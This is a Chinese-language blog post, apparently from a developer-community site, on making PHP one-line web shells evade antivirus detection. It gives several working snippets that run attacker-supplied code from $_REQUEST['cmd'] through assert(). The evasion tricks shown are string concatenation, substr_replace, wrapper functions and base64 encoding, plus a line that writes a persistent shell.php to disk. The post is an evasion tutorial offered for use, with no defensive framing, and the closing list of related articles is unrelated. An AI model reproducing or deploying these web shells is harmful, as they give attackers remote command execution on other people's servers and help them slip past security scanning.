php一句话木马免杀

php一句话木马免杀

针对于php一句话木马做免杀:

利用php动态函数的特性,将危险函数拆分成字符,最终使用字符串拼接的方式,然后重新拼接,后加括号执行代码,并且可以使用花指令进行包装,如无限if(1=1)套接,以此来做伪装绕过,达成免杀

assert()

如果过滤eval()函数时,可以考虑尝试assert()函数

assert() 会将字符串当做PHP 代码来执行

  • assert() 只能执行单条PHP 语句。
  • assert() 是一个函数,可以动态调用。
  • 高版本PHP 中,assert() 被弃用

此时一句话木马即可构造为

php 复制代码
<?php @assert($_REQUEST['cmd']); ?>

字符拼接函数

当eval和assert都被过滤时,即可考虑将函数拆分重组

例如

PHP 复制代码
<?php
	$a="a"."s";
	$b="s"."e";
	$c="rt";
	$d=$a.$b.$c;
	$d($_REQUEST['cmd']);
?>

可正常执行

编码加密后也可连接

php函数替换拼接

可以使用php函数来进行字符串的替换拼接

substr_replace() 函数是 PHP 中用于替换字符串中的一部分内容的函数

使用方法:

复制代码
string substr_replace ( string $string , string $replacement , int $start [, int $length ] )

参数说明:

  • $string:原始字符串。
  • $replacement:替换的字符串。
  • $start:替换的起始位置。
  • $length:可选参数,指定要替换的长度。如果未指定,则替换从起始位置开始一直到字符串末尾的部分

示例

php 复制代码
<?php
	$a=substr_replace("asxxxx","se",2);
	$b=substr_replace($a,"rt",4);
	@$b($_REQUEST['cmd']);
?>

同上可执行可连接

定义函数包裹

使用定义函数,将危险函数放进函数中,替代调用

php 复制代码
<?php
	function asrt1($a){
		assert($a);
	}
	@asrt1($_REQUEST['cmd']);
?>

GPC替换

当request被过滤时,尝试使用GET或者POST

当然该参数也可以使用字符串拼接等方式组合

加密

例如使用base64加密

php 复制代码
<?php
	$a=base_decode(YXNzZXJ0/ZXZhbA==);
    $b=$a(base64_decode($_REQUEST['cmd']));
?>

生成一句话马文件

复制代码
<?php file_put_contents('shell.php','<?php @assert($_REQUEST);?>')?>

同理,如果该函数中出现过滤,则可考虑使用上述的拼接替换字符

相关推荐
峥无17 分钟前
从0到1手撕红黑树:封装实现 my_map 与 my_set(SGI-STL 源码级深度解析)
开发语言·c++·笔记·算法·stl
波特率11520020 分钟前
C++新特性---属性说明符与标准属性
开发语言·c++
程序员小八77725 分钟前
上海百度B端java后端日常实习一面
java·开发语言
吴声子夜歌30 分钟前
网络安全——网络渗透测试(网络扫描)
网络·web安全·php
fish-man32 分钟前
ceshi ceshi yixia
网络·安全·web安全
wp123_135 分钟前
IPX8 防水 Type‑C连接器:安费诺 124018792112A 与 TONEVEE TY48087‑24A 技术梳理
c语言·开发语言
不会代码的小猴1 小时前
3. 控件学习1
开发语言·c++·笔记·qt·算法
fangzhanpeng1681 小时前
(前端)2.js变量作用域样例
开发语言·前端·javascript
志栋智能3 小时前
安全超自动化:构建全方位安全可观测性的基础
网络·安全·自动化
Splashtop高性能远程控制软件3 小时前
AI 落地的连接基建评估:消费品行业远程连接方案的四个技术维度(性能 / 精度 / 安全 / 统一管理)
运维·人工智能·安全·远程工作·splashtop